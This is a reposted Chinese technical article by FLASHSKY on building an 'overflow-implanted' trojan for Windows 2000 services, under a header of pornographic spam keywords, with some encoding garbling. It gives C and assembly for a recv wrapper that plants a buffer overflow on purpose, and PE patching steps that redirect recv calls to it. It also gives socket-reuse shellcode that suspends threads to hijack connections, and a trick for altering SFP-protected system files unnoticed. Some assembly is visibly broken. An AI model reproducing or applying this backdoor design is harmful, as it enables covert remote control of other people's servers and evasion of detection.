日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

--------溢出植入型木马(后门)的原型实现 作者:FLASHSKY(原创)

發(fā)布時(shí)間:2023/12/14 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 --------溢出植入型木马(后门)的原型实现 作者:FLASHSKY(原创) 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
?作者:FLASHSKY(原創(chuàng))
作者郵箱:flashsky@xfocus.org
站點(diǎn):??? www.xfocus.net

申明:
作者無意實(shí)現(xiàn)一個(gè)木馬,作者也不是一個(gè)木馬開發(fā)者,只是提供一種思路:將緩沖區(qū)溢出攻擊和木馬/后門相結(jié)合的木馬實(shí)現(xiàn)手段,
通過一個(gè)簡單的原型來驗(yàn)證這種思路的可行性,并展示給大家看到這種實(shí)現(xiàn)方式的很多特點(diǎn)和優(yōu)勢。也提請安全研究人員對這種木馬發(fā)展技術(shù)
給予較高的關(guān)注,提出查殺和避免的方法。作者提供關(guān)鍵代碼段的技術(shù)實(shí)現(xiàn)的文檔和演示來驗(yàn)證其實(shí)現(xiàn),但不提供源代碼和二進(jìn)制程序,任何
人都可以利用此文進(jìn)行自己的技術(shù)研究和代碼實(shí)現(xiàn),但是自己負(fù)擔(dān)自己開發(fā)程序進(jìn)行非法行為的法律責(zé)任。

一:溢出植入型木馬(后門)的基本思路
1. 木馬(后門)如何有效的隱蔽的思考?
木馬和后門是在服務(wù)器端運(yùn)行,實(shí)現(xiàn)與特定工作者進(jìn)行通訊和執(zhí)行服務(wù)請求的一個(gè)應(yīng)用服務(wù)器程序。隱蔽則是非常重要的手段,當(dāng)前主要涉及
到的隱蔽問題有:
? 應(yīng)用/代碼本身的隱蔽,避免事后查殺工具查出。避免文件完整性的檢查等。
? 應(yīng)用進(jìn)程執(zhí)行的隱蔽:如木馬進(jìn)程的隱蔽
? 自動啟動代碼相關(guān)的隱蔽:如W2K下需要修改注冊表讓自己在系統(tǒng)自動啟動的時(shí)候啟動,或填加到服務(wù)或驅(qū)動當(dāng)中
? 通訊的隱蔽:如何隱蔽端口不被查出,如何饒過防火墻等問題

當(dāng)前木馬/后門發(fā)展的趨勢是寫入到驅(qū)動和內(nèi)核的級別。通過攔截系統(tǒng)調(diào)用的服務(wù)來達(dá)到以上幾個(gè)隱蔽的目的,如ROOTKIT等,但是這樣的木馬
/后門也存在著一些問題:
? 代碼量多,在客戶端執(zhí)行的工作多。做的事情越多,其蛛絲馬跡必然也就會越多。而且是在主動方式執(zhí)行的,任何時(shí)候都在予以執(zhí)行
,而不僅僅是在攻擊者與其進(jìn)行通訊的時(shí)候。
? 影響一定的性能:由于是寫入內(nèi)核和驅(qū)動的,受影響的面比較大。
? 編寫需要高的技巧與技能。

2. 溢出植入型木馬(后門)的思路
那么針對以上問題,我們會產(chǎn)生一個(gè)思路,就是按照這種方式來實(shí)現(xiàn)隱藏自己的木馬/后門
? 被動工作式的木馬,最好是制造一個(gè)可以遠(yuǎn)程利用的通用漏洞,利用這個(gè)通用漏洞來實(shí)現(xiàn)控制,這樣只在與攻擊者通訊的時(shí)候才會有
一定的跡象,而且服務(wù)器端留存的代碼到最小,也就無所謂事后查殺,對系統(tǒng)的影響也非常的小。
? 特定程序的執(zhí)行代碼依賴于客戶端傳入的數(shù)據(jù),而這些代碼只存在于內(nèi)存之中。
? 特定代碼執(zhí)行的機(jī)理盡量依賴于系統(tǒng)本身的正常的機(jī)制進(jìn)行加載,和執(zhí)行

3. 溢出植入型木馬(后門)的優(yōu)勢
那么由上面的思路進(jìn)行闡發(fā),我們會想到,做植入一個(gè)漏洞的木馬,那么為什么會選植入溢出漏洞呢?原因在于:
? 溢出漏洞存在操作系統(tǒng)通用性的優(yōu)勢:在很多的CPU平臺和操作系統(tǒng)平臺上,溢出都是一個(gè)普遍存在的漏洞,并且其原理都是一樣的,
這樣的木馬很容易移植。
? 溢出漏洞本身難以被檢查,具備非常好的隱秘性
? 溢出本身就可以做遠(yuǎn)程的控制,很多其他的漏洞是通過漏洞獲得權(quán)限以后還需要通過其他的方式來進(jìn)行控制。
? 溢出通過客戶端把指令以代碼的方式發(fā)送執(zhí)行來獲得控制,這些可執(zhí)行代碼數(shù)據(jù)可以根據(jù)需要進(jìn)行一定的修改,本身具備一定的靈活
性,本身的攻擊代碼不以服務(wù)器端程序的方式留存,只在執(zhí)行的時(shí)候存在于內(nèi)存堆棧中,很難尋找。
? 溢出的代碼執(zhí)行是在正常服務(wù)的內(nèi)部進(jìn)行的,很容易就實(shí)現(xiàn)了進(jìn)程的隱藏,而且注入到一個(gè)正常的應(yīng)用中,其啟動和控制無需要其他
修改注冊表等方式。而且利用本身的端口和SOCKET很容易就能實(shí)現(xiàn)通訊的端口復(fù)用和SOCKET復(fù)用,實(shí)現(xiàn)端口隱藏和饒過防火墻。
? 溢出本身對程序的性能等影響很小。且是完全被動方式來工作的。
? 制造一個(gè)溢出漏洞比較簡單和容易實(shí)現(xiàn),即使是一個(gè)非常安全的應(yīng)用程序,制造一個(gè)溢出BUG很容易,如一個(gè)收包的代碼調(diào)用:
recv(sock,buf,xxxx,flag),只需要簡單的調(diào)整XXX的大小的值就使得其存在了一個(gè)溢出的漏洞。

二:通用溢出漏洞的植入
1. 通用化溢出漏洞要解決的4個(gè)問題
但是真正以木馬/后門方式給應(yīng)用植入一個(gè)溢出漏洞而可以被很好的被廣泛使用,必須要使得這個(gè)溢出具備通用化的問題,主要涉及到如下幾個(gè)
方面的考慮:
? 溢出點(diǎn)定位
因?yàn)橐绯龅腂UF的長度,位置和RETADDR的偏移關(guān)系對每個(gè)應(yīng)用程序都是不定的,如果針對每個(gè)應(yīng)用程序都需要手工調(diào)整這個(gè)溢出點(diǎn)的話,客戶
端就無法實(shí)現(xiàn)通用性的代碼,因此需要植入一個(gè)可溢出點(diǎn)固定的溢出漏洞。
? JMP ESP代碼提供和定位
溢出代碼通過RETADDR掌握到主動的時(shí)候,但由于SHELLCODE在的內(nèi)存堆棧是動態(tài)分配的,是無法準(zhǔn)確獲得其地址的,那么需要借重于JMP ESP這
樣的語句來實(shí)現(xiàn)跳轉(zhuǎn),有些應(yīng)用可能有這樣的語句,有些應(yīng)用可能又沒有這樣的語句,而且地址不會是一樣的,隨不同系統(tǒng)和操作系統(tǒng)的版本
也都會變化,因此需要提供一個(gè)可固定的JMP ESP代碼的地址給溢出SHELLCODE,來實(shí)現(xiàn)通用化。
? 溢出覆蓋后對變量的引用訪問違例
溢出以后,由于溢出的BUF到RETADDR之間很可能還存在其他的變量,在溢出的RETADDR返回以前,代碼還在應(yīng)用程序的上小文中執(zhí)行,這些代碼
很可能會引用這些變量,而這些變量很可能已經(jīng)被我們的覆蓋代碼已經(jīng)修改,從而導(dǎo)致訪問違例,導(dǎo)致程序終止或被記錄或進(jìn)行異常處理代碼
而無法執(zhí)行我們的溢出代碼并且暴露我們的行蹤。
? 溢出覆蓋后執(zhí)行代碼對溢出區(qū)的修改
溢出以后,由于溢出的BUF到RETADDR之間很可能還存在其他的變量,在溢出的RETADDR返回以前,代碼還在應(yīng)用程序的上小文中執(zhí)行,這些代碼
很可能會修改我們已經(jīng)溢出覆蓋的SHELLCODE的內(nèi)容,這樣在溢出以后就無法正確執(zhí)行我們想要執(zhí)行的SHELLCODE,一般來說還會引起異常導(dǎo)致
進(jìn)程的意外終止和記錄,暴露我們的行蹤。

2. 實(shí)現(xiàn)植入通用化溢出漏洞的思路
那么如何有效解決以上問題,實(shí)現(xiàn)一個(gè)可通用化利用的溢出漏洞呢?我們來展開我們的思考:
a) 思路一:修改擴(kuò)展堆棧(對于固定EBP/ESP引用有效)
在一個(gè)函數(shù) CALL FUN的FUN執(zhí)行空間下
假設(shè)一個(gè)應(yīng)用程序的堆棧空間如下:
ESP----------》變量1到10 占有空間40個(gè)字節(jié)
??????? 可被我們溢出的BUF1占有空間400個(gè)字節(jié)
??????????? 其他的變量11到20占有空間40個(gè)字節(jié)
EBP----------》RETADDR
傳入的函數(shù)參數(shù)1到4? 占有空間16

那么在進(jìn)入FUNC執(zhí)行的時(shí)候,其生成的匯編語句會如下:
PUSH? EBP
MOV? EBP,ESP? (這時(shí)候的ESP指向RETADDR的地址)
SUB?? ESP,480?? (480是變量總的占有空間的數(shù))
。。。。。。。????????? (代碼執(zhí)行區(qū))
ADD?? ESP,480
PUSH? EBP

我們修改如上的匯編代碼的語句為:
PUSH? EBP
MOV? EBP,ESP?
SUB?? ESP,1480
。。。。。。。???????
ADD?? ESP,1480
PUSH? EBP

對應(yīng)的堆棧空間是
ESP----------》變量1到10 占有空間40個(gè)字節(jié)
??????? 可被我們溢出的BUF1占有空間400個(gè)字節(jié)
其他的變量11到20占有空間40個(gè)字節(jié)
多出的1000個(gè)字節(jié)的空間
EBP----------》RETADDR
傳入的函數(shù)參數(shù)1到4? 占有空間16

如果對參數(shù)的引用都是以EBP+XXX,對變量的引用都是以ESP+XXX的方式的話,我們會發(fā)現(xiàn)其對應(yīng)用的影響沒有,程序依然可以很好的執(zhí)行,因
為參數(shù)和變量相對ESP,EBP的位置并沒有發(fā)生變化。但是我們會發(fā)現(xiàn)如下幾個(gè)有趣的地方:
1. 只需要修改SUB,ESP,XXX,ADD ESP,XXX的地方,都在函數(shù)的頭尾地方出現(xiàn),不影響程序大小,容易尋找。
2. 如果我們可以根據(jù)已知的 XXX的大小和BUF的位置,來自動計(jì)算和調(diào)整XXX的值,就可以實(shí)現(xiàn)溢出點(diǎn)定位的問題,如上面的例子,需要
溢出點(diǎn)定位到1000,我們把SUB ESP,480改成 SUB ESP,1040就可以達(dá)到定位點(diǎn)是1000的目的。(多出的40是在BUF上面的變量,這和BUF的位
置有關(guān));
3. 如果增加的空間足夠大,我們可以把SHELLCODE放在多出的這個(gè)空間里,就能有效的避免SHELLCODE被后續(xù)程序執(zhí)行導(dǎo)致被修改的問題。
4. 如果增加的空間足夠大,我們可以把SHELLCODE放在多出的這個(gè)空間里,那么對于前面的空間,由于溢出點(diǎn)位置已定,SHELLCODE不存
在被修改,因此可以對于變量10到20盡可能的有效的數(shù)據(jù)地址,來減少可能的后續(xù)代碼的執(zhí)行對其的引用導(dǎo)致的訪問違例問題,雖然不能完全
解決,但至少提供了很大的可能性。

這是一個(gè)很好的思路,然而現(xiàn)實(shí)是殘酷的,因?yàn)槲覀儼l(fā)現(xiàn)原先設(shè)想的一個(gè)前提在不同的編譯器選項(xiàng)下是不成立的,既
對變量的引用是ESP+XXX,對傳入?yún)?shù)的引用是EBP+XXX,不同的情況生成的匯編代碼是復(fù)雜的,既有可能對變量和傳入?yún)?shù)的引用全部是ESP+
XXX的方式,也有可能對變量和傳入?yún)?shù)的引用全部是EBP+-XXX的方式。我們只得利用這個(gè)思路繼續(xù)思考新的解決方法。

b) 思路二:植 入某個(gè)特定函數(shù)的轉(zhuǎn)發(fā)函數(shù)
那么新的想法就是,針對可以溢出的函數(shù),給他植入一個(gè)轉(zhuǎn)發(fā)的函數(shù)。也就是說本來在一個(gè)過程中有對
recv(sock,buf,xxx,flag)的調(diào)用,把他修改成recvadd(sock,buf,xxx,flag),我們附加給應(yīng)用一個(gè)recvadd函數(shù),這個(gè)函數(shù)只是簡單的對
recvadd(sock,buf1,xxx,flag)進(jìn)行轉(zhuǎn)發(fā)而已,但是其分配的內(nèi)存空間和給定的XXX是不一致的,存在溢出的漏洞,那么對這個(gè)轉(zhuǎn)發(fā)的recv進(jìn)行
溢出就可以實(shí)現(xiàn)溢出控制了。

3. 植入的通用化通用化溢出漏洞的實(shí)現(xiàn)
a) 函數(shù)轉(zhuǎn)發(fā)過程和優(yōu)勢
過程:
i. 開辟一個(gè)新的BUF1,長度固定,這樣可提供溢出點(diǎn)固定的溢出
ii. 調(diào)用recv(sock,buf1,xxx,flag)進(jìn)行收包
iii. 將buf1的內(nèi)容拷貝回BUF,這樣就不會影響正常的應(yīng)用。
優(yōu)勢:
可以一舉解決可通用化利用的溢出漏洞的四個(gè)問題。
iv. 因?yàn)樵赗ECVADD函數(shù)中運(yùn)行,BUF1的分配可以根據(jù)指定的溢出點(diǎn)進(jìn)行分配。并可保證足夠的溢出空間,使得SHELLCODE就在BUF1內(nèi)存放
而不影響EBP后面的變量
v. RECVADD中可以放置JMP ESP的變形代碼,解決JMP ESP的定位問題
vi. RECVADD只提供BUF1,接收以后再拷貝回BUF,這樣不會涉及到問題3和問題4
vii. 不會影響程序的正常應(yīng)用,而且附加的函數(shù)本身功能比較簡單,非常容易實(shí)現(xiàn),代碼量非常小,1,2百字節(jié)以內(nèi),而如W2K的PE文件格
式下節(jié)是以0X1000H對齊的,因此有足夠的空間加入到PE文件正常的節(jié)中而不影響其大小,其他參數(shù)的變化。
b) 制造轉(zhuǎn)發(fā)函數(shù)的通用漏洞
下面就是最初步的一個(gè)對RECV進(jìn)行轉(zhuǎn)發(fā)的函數(shù)的C代碼
DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags)
{
int num;
char buf1[0x1190];
if(len>0x1000)
num = recv(s,buf,len,flags); //說明無法通用溢出,因?yàn)橐挥绊懻?yīng)用
else
{
num = recv(s,buf1,0x11a9,flags); //擴(kuò)大到標(biāo)準(zhǔn)指定的溢出點(diǎn)上
if(num>0)?????????????????? //判斷是否收到包
{
if(num<=len) ? //判斷是否溢出,沒有則拷貝內(nèi)存
memcpy(buf,buf1,num);
else????????????????? //提供JMP ESP的地址,這個(gè)地址隨植入時(shí)候自動計(jì)算并替換掉:1010101H
{
num=-1;
_asm{
mov eax,1010101H
mov [esp+11A4H],eax;
}
}
}

}
return num;
}

c) 可通用化的利用
i. 檢測溢出和溢出返回地址
判斷溢出很簡單,只需要利用RECV的返回接收字節(jié)數(shù)字和給定的LEN進(jìn)行比較就可以,當(dāng)然也可以利用溢出地址的編碼檢查是否是自己特定的
溢出。
另外就是擴(kuò)展了足夠的BUF1以后,SHELLCODE完全就可以放在BUF1中而無需覆蓋EBP下面的內(nèi)容了,這樣就為有效的線程安全返回提供了條件。
因?yàn)橐粋€(gè)我們的SHELLCODE完成任務(wù)以后,這個(gè)溢出線程的處理是非常麻煩的,如果中斷掉,對有些應(yīng)用則會引起異常,如DNS SERVER等就不
會工作,而有些這會中斷和記錄下來,最理想的方式是保存環(huán)境完全又返回到原來應(yīng)該返回點(diǎn)繼續(xù)執(zhí)行。
ii. JMP ESP代碼
我們在附加函數(shù)的尾部提供一個(gè)如下的匯編代碼的機(jī)器代碼:
SUB ESP,XXXX
JMP ESP
(當(dāng)然為了隱蔽,可以生成其他等效功能的變形代碼,如
MOV EAX,ESP,
JMP EAX)
然后在植入的時(shí)候自動計(jì)算這個(gè)附加代碼的地址,替換掉RECVADD的程序代碼中,在運(yùn)行檢測到溢出的時(shí)候,就將這個(gè)地址替換到有效的返回
地址上,實(shí)現(xiàn)溢出的SHELLCODE的跳轉(zhuǎn)。

iii. 其他需要利用的環(huán)境變量的保護(hù)
同時(shí)考慮到如下因素,因在替代函數(shù)中提供對如下變量的保護(hù)
? SOCKET,便于SOCKET復(fù)用
? RETADDR:便于SHELLCODE完成以后,線程實(shí)現(xiàn)安全的返回
? 本函數(shù)調(diào)用傳入的參數(shù)大小,以實(shí)現(xiàn)SHELLCODE中對ESP/EBP計(jì)算安全返回
? 執(zhí)行前保存函數(shù)體外的需要保存的積存器,以實(shí)現(xiàn)安全返回

那么下面就是一個(gè)考慮了以上情況的對RECV進(jìn)行轉(zhuǎn)發(fā)函數(shù)的匯編代碼
DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags)
{
_asm{
mov eax,[esp+0cH]???????????????? //檢查LEN是否是大于1000H的應(yīng)用,
cmp eax,1000H??????????????????? //這樣的應(yīng)用我們按1000H做溢出點(diǎn)
jg recv???????????????????????? //可能會破壞正常的應(yīng)用
sub esp,119ch???????????????????? //擴(kuò)展堆棧到定好的溢出點(diǎn)
mov eax,[esp+11a0h]?????????? //保存SC備SHELLCODE使用
mov [esp],eax
mov eax,[esp+119ch]?????????? //保存返回地址供SHELLCODE執(zhí)行完
mov [esp+4],eax?????????????? //以后進(jìn)行返回
mov dword ptr [esp+8],10h????? //保存壓入?yún)?shù)的占用堆棧的大小
push??? esi????????????????????? //保護(hù)外圍積存器
push??? edi
push??? ecx
push??? edx
mov??? eax, [esp+11Bch]
push ?? eax
mov???? esi, [esp+11Bch]
push??? 11A9h????????????????? //替換成可溢出的值
lea???? ecx, [esp+24H]
push ecx
mov eax, [esp+11Bch]
push eax
call??? recv?????????????????? //recv轉(zhuǎn)發(fā)
test??? eax, eax
jle???? loc_2
cmp???? eax, esi????????????? //判斷是否接收到包
jle???? loc_1
mov edx,[esp+11Ach]
xor eax,eax
dec ??? eax
cmp edx,0x90909090??? //比較規(guī)定的溢出地址值
jne loc_2
mov eax,1010101H????? //提供JMP ESP的地址
mov [esp+11AcH],eax;
jmp loc_2
loc_1:??????????????????????? //BUF1的內(nèi)容拷貝回BUF
mov???? ecx, eax
mov???? edi, [esp+11B4h]
mov???? edx, ecx
lea???? esi, [esp+1cH]
shr???? ecx, 2
repe movsd
mov???? ecx, edx
and???? ecx, 3
repe movsb
loc_2:
pop edx????????? //彈出保護(hù)的外圍積存器
pop ??? ecx
pop ??? edi
pop ??? esi
add esp,119ch
retn??? 10h?????????? //如果發(fā)生溢出則會到指定的程序點(diǎn)上執(zhí)行
}
}
JMPCODE:
_asm{
sub esp.0x1400
jmp esp
}
4. 木馬(后門)的在W2K下的實(shí)現(xiàn)
我們已經(jīng)有了一個(gè)完備的轉(zhuǎn)發(fā)函數(shù)來植入通用化的溢出漏洞了,那么如何這個(gè)后門和木馬如何植入應(yīng)用呢?下面我們就來考慮這個(gè)方面的問題

a) 整個(gè)植入代碼的結(jié)構(gòu)如下
[RECVADD地址] :
存放真正的RECVADD函數(shù)的地址,這樣替換對方的JMP [RECV]的[RECV]地址值為這個(gè)地址值就能達(dá)到實(shí)際的JMP [RECV]的效果
[RECVADD函數(shù)]:真正的執(zhí)行代碼區(qū)
[RECV跳轉(zhuǎn)函數(shù)]:保存真正的RECV的跳轉(zhuǎn)地址JMP [RECV]和CALL [RECV]的地址,使得程序可以轉(zhuǎn)發(fā)真正的調(diào)用
[JMP ESP代碼]:存放溢出執(zhí)行時(shí)的JMP ESP執(zhí)行代碼

b) PE文件節(jié)點(diǎn)分析和代碼的附加
? 分析節(jié)接點(diǎn)空間是否有足夠的位置放置植入的代碼
? 在導(dǎo)入代碼節(jié)和執(zhí)行代碼節(jié)的頭部里找到對應(yīng)的需要替換的函數(shù)(此例為RECV函數(shù)的地址)
1. 通過GetProcAddress獲取recv的地址,在進(jìn)程空間的導(dǎo)入代碼節(jié)里查找對應(yīng)地址的導(dǎo)入地址
? 在代碼區(qū)內(nèi)找到j(luò)mp [recv]或call [recv]的地址,記錄下來
? 停止服務(wù),以寫打開文件
? 替換jmp [recv]或call [recv]成jmp [recvadd]或call [recvadd]
? 附加自己的代碼
c) 附加代碼的自動計(jì)算和替換
涉及到自動計(jì)算的地方有如下幾處
RECVADD函數(shù)本身的位置
RECV函數(shù)的真正位置的計(jì)算和替換
JMP ESP代碼的位置計(jì)算和替換
d) 調(diào)用函數(shù)分析和導(dǎo)入表的替換
存在兩種調(diào)用形式,程序需要分別分析和處理
i. JMP [FUN]的替換
進(jìn)程在調(diào)用FUN的時(shí)候,是CALL [FUN],[FUN]為JMP [FUN]的地址,這里面的 [FUN]中才為真正的FUN的導(dǎo)入表中的對應(yīng)函數(shù)的地址
這個(gè)只需要替換JMP [FUN]就可以達(dá)到對應(yīng)用的所有調(diào)用進(jìn)行替換的目的
ii. CALL [FUN]的替換
進(jìn)程在調(diào)用FUN的時(shí)候,是CALL [FUN],[FUN]為FUN的導(dǎo)入表中的對應(yīng)函數(shù)的地址
這個(gè)需要替換所有的CALL [FUN]才能達(dá)到對應(yīng)用的所有調(diào)用進(jìn)行替換的目的

三:通用的遠(yuǎn)程溢出的SHELLCODE
1. 函數(shù)定位處理
先通過對內(nèi)存的搜索獲得GetProcAddress的地址,來加載需要使用的API。這個(gè)都是屬于通用的技巧了。

2. 通用的SOCKET復(fù)用
這里討論的SOCKET復(fù)用是在W2K環(huán)境下的,針對阻塞式SOCKET情況下的。
a) SOCKET復(fù)用的意義
i. 服務(wù)器端無需開端口,饒過端口檢查
ii. 使用服務(wù)本身的端口進(jìn)行通訊,被動直接使用客戶端的SOCKET,可以有效的饒過防火墻
b) 基本思路
i. 獲得有效的SOCKET描述符
可以通過SOCKET從某個(gè)值遞增,然后通過getpeername判斷是否是一個(gè)SOCKET和對應(yīng)是否是自己的IP地址的SOCKET
ii. 判斷關(guān)聯(lián)的SOCKET描述符的進(jìn)程
在獲得SOCKET描述符存在的問題是,由于溢出是在代碼執(zhí)行返回時(shí)才掌握控制權(quán),這個(gè)時(shí)候很可能SOCKET已被正常的關(guān)閉掉了。所以可能需要
我們連2個(gè)上去,一個(gè)發(fā)出溢出包,一個(gè)處于對方RECV停等的狀態(tài),如果第一個(gè)SOCKET已經(jīng)關(guān)閉的話,可以判斷第二個(gè)來進(jìn)行復(fù)用處理,這就
需要SHELLCODE做如下的判斷:
1. 有可能第一個(gè)也沒被關(guān)閉,那么需要有效判斷出第二個(gè)來,只要通過檢查線程的ID是否和當(dāng)前的匹配就可以
2. 使用第二個(gè)SOCKET以前,需要先懸掛起這個(gè)SOCKET處理的線程,否則無法正常使用SOCKET
在阻塞式情況下,RECV的代碼會停留在NtWaitForSingleObject的代碼上,那么我們通過判斷線程環(huán)境上下文的EIP地址就基本可以獲得大致的
對應(yīng)的線程,但是也有可能有其他的線程處于同一位置,那么我們可以搜索有效的線程的堆棧空間是否存在對應(yīng)的SOCKET描述符就可以基本確
定了。
下面就是基本實(shí)現(xiàn)的C代碼:
cid = GetCurrentThreadIdadd();
pid = GetCurrentProcessIdadd();
for(hid=0x50;hid<0x10000;hid=hid+4)? //SOCKET描述符從0X50開始
{
num= sizeof(addr);
if(getpeername ((SOCKET)hid,&addr,&num)==0)
{
if(*(DWORD *)(addr.sa_data+2)==0x3c00a8c0)//對應(yīng)IP
{
//發(fā)送字節(jié)看是否是已經(jīng)關(guān)閉的SOCKET
lBytesRead = send((SOCKET)hid,strcmd,4,0); if(lBytesRead>0)
{
for(aid = 0;aid<0x10000;aid=aid+4)
{
if(cid!=aid)
{
OpenThreadadd(THREAD_ALL_ACCESS,FALSE,aid);
if(p1!=NULL)
{
isok=NtQueryInformationThreadadd(p1,0,prothrinfo,0x1c,&num);
if(isok==0)
{
if(*(DWORD *)(prothrinfo+0x8)==pid)
{
? SuspendThreadadd(p1);
context.ContextFlags = CONTEXT_FULL;
GetThreadContextadd(p1,&context);
if(context.Eip==((DWORD)NtWaitForSingleObjectadd+11))
{
eip = context.Esp;
for(di=0x80;di<0x170;di=di+4)
{
if(*(DWORD *)(eip+di)==(SOCKET)hid)
{
//下面就可以正常處理了
}
//不是的則恢復(fù)線程的執(zhí)行和循環(huán)
c) 但是以上對線程的判斷方法只對阻塞式的SOCKET有效,對于非阻塞式的SOCKET卻無法判斷,但對于函數(shù)替換這種方式植入的溢出來說
,非常幸運(yùn)的是:可以確保這個(gè)SOCKET在溢出控制的時(shí)候肯定不會被關(guān)閉,因此我們完全可以只通用SOCKET的getpeername函數(shù)嘗試就可以判
斷這個(gè)SOCKET描述符了,當(dāng)然我的例子代碼采用了由植入程序保存這個(gè)環(huán)境變量的方法來復(fù)用這個(gè)SOCKET

3. 對環(huán)境變量的正常引用
其實(shí)我們把三個(gè)保存的環(huán)境變量都放在溢出的BUF1之前的,相對于跳轉(zhuǎn)執(zhí)行的SUB ESP,XXX,JMP ESP后,這個(gè)地址是不固定的,可能隨著被
溢出函數(shù)在返回之前的RETN XXX的XXX而變化,因此要用一個(gè)固定的ESP+XXX來引用這幾個(gè)保存的環(huán)境變量,需要我們更該對應(yīng)的SUB ESP,XXX
,JMP ESP的XXX大小,幸運(yùn)的是,對于每個(gè)固定的替換API這個(gè)是固定的,因此我們完全可以針對每一個(gè)替換的函數(shù)寫固定的XXX在內(nèi),因?yàn)閷?br />不同的替換函數(shù)其替換函數(shù)的內(nèi)容也會變化。
我們的溢出植入只對函數(shù)調(diào)用級別的通用,也就是說無論應(yīng)用A和B運(yùn)行在不同的版本的系統(tǒng)上,只要調(diào)用了對應(yīng)的函數(shù)C,則對A和B的C函數(shù)的
溢出植入都是通用的。

4. 線程完畢后的處理思考
a) 刪除或終止線程
這樣雖然簡單,但是容易引起異常和記錄。
b) 保存線程環(huán)境返回原調(diào)用點(diǎn)
那么需要保存和計(jì)算如下的內(nèi)容:
保存溢出SHELLCODE執(zhí)行前的積存器內(nèi)容
保存需要返回的地址值
計(jì)算恢復(fù)后的ESP/EBP,好放入對應(yīng)的地址值。
最大的考慮則是:在恢復(fù)積存器后,還需要使用積存器讀取返回地址值并放入返回前的ESP和讀取函數(shù)在溢出前提供的函數(shù)參數(shù)大小使得計(jì)算正
常的ESP,因此對于積存器的保護(hù)需要一點(diǎn)技巧。
c) 線程安全返回的代碼
sub esp,0x13fc????????? //先開辟一個(gè)空間,保護(hù)幾個(gè)特殊的積存器
push ebp
push ecx?????????????? //因?yàn)橐斡玫?#xff0c;所以在此處保存eax.ecx
push? eax
sub? esp,xxx?????? //這兒開辟的堆棧空間才是真正的SHELLCODE使用的變量存放的空間
push? ebx????????????? 保存其他的積存器
push? ecx
push? edx
push? esi
push? edi
。。。。。。。。。。。。。。。。SHELLCODE功能代碼
執(zhí)行完畢以后實(shí)現(xiàn)縣城的安全返回:
TerminateProcess (ProcessInformation.hProcess,0); //殺掉打開的CMD進(jìn)程
_asm{
mov eax,k???????????? //K是溢出函數(shù)傳入的參數(shù)長度
mov ebx,retaddr??????? //返回地址
mov ecx,28FCH?????? //ESP回復(fù)到開辟的地方
add ecx,eax????????? //考慮溢出函數(shù)傳入的參數(shù)長度的ESP地址
sub ecx,4???????????? //回到應(yīng)該放置RET的ESP處
mov [esp+ecx],ebx //存放真正的返回地址
pop? edi??????????? //恢復(fù)通用的積存器
pop? esi
pop? edx
pop? ecx
pop? ebx
pop? edi
pop? esi
pop? ebx
add esp,4e4h //ESP減少SHELLCODE使用的堆棧空間
mov? [esp+23F8H],eax?? //寫入K的值,在恢復(fù)積存器以后就可以無需再使用其他積存器來使用了
pop ebp??????? //彈出幾個(gè)保護(hù)的特殊積存器
pop eax
pop? ecx
add esp,23ECH?? //到存放K的堆棧上,這樣就可以用[ESP]來引用這個(gè)值而無需使用其他積存器,導(dǎo)致已恢復(fù)的積
存器又被破壞掉
add esp,[esp]??? //利用[ESP]引用K實(shí)現(xiàn)ESP+K,來計(jì)算真正的ESP值
sub esp,4 ? //提前4字節(jié),也就是RETADDR的地方。利用RET進(jìn)行返回
ret
}

5. 演示遠(yuǎn)程SCOKET復(fù)用SHELLCODE溢出TEST服務(wù)

四:闡發(fā)
1. 饒過WIN2K的系統(tǒng)文件完整性保護(hù)機(jī)制(SFP)
我們的后門和木馬主要的目標(biāo)是修改運(yùn)行具備特權(quán)的服務(wù)和系統(tǒng)文件,但是大家都知道在WIN2K以后,WINDOWS都增加了SFP機(jī)制來保護(hù)系統(tǒng)文件
的完整性。那么只有能有效的修改我們需要植入的受系統(tǒng)保護(hù)的文件,我們才能達(dá)到目的。
網(wǎng)上有很多刪除和更新受保護(hù)文件的方法,但是基本思路是同步刪除掉備份的/WINNT/system32/dllcache/和/WINNT/ServicePackFiles/i386/
下的對應(yīng)文件,但是這樣會導(dǎo)致系統(tǒng)跳出一個(gè)無法正常恢復(fù)受保護(hù)文件的警告框出來,這樣就會暴露我們的行蹤。
其實(shí)修改受SFP保護(hù)的文件又不引起這個(gè)警告框的方法非常簡單,就是:同時(shí)獨(dú)占打開這兩個(gè)備份的文件,然后再修改受系統(tǒng)保護(hù)的文件,修改
完畢之后,過一段時(shí)候再關(guān)閉獨(dú)占打開這兩個(gè)備份的文件,這樣文件就可以被正常修改而已不會引發(fā)任何的提示。
當(dāng)然,還有很多其他的方法來達(dá)到這個(gè)目的,如修改對應(yīng)文件的校驗(yàn)標(biāo)志等,不過這種方法是最簡單和有效的。
a) 演示刪除和更改WIN2K的受保護(hù)的系統(tǒng)文件的方法
2. 通用化測試
以上就是一個(gè)基本溢出植入型木馬實(shí)現(xiàn)的原形,那么我們最后用實(shí)際的測試來驗(yàn)證一下我們的這個(gè)原型是否通用和達(dá)到我們預(yù)期的目的。我們
來做2個(gè)實(shí)際應(yīng)用和服務(wù)的植入溢出的實(shí)驗(yàn)和通用這個(gè)通用化溢出實(shí)現(xiàn)我們的遠(yuǎn)程控制。
a) 演示DNS SERVER植入recv轉(zhuǎn)發(fā)的遠(yuǎn)程溢出漏洞和控制
制約條件:
??? 使用和植入溢出TEST服務(wù)一樣的SHELLCODE和客戶端
使用和植入溢出TEST服務(wù)一樣的木馬執(zhí)行程序和RECV的轉(zhuǎn)發(fā)函數(shù)
??? 唯一不同是給定的木馬執(zhí)行程序的參數(shù)(主要指明需要植入溢出的程序等信息)
1. 演示植入前發(fā)送過大包失敗
2. 演示植入后,程序在發(fā)送包已經(jīng)到達(dá)我們的轉(zhuǎn)發(fā)程序
3. 演示不影響正常的應(yīng)用
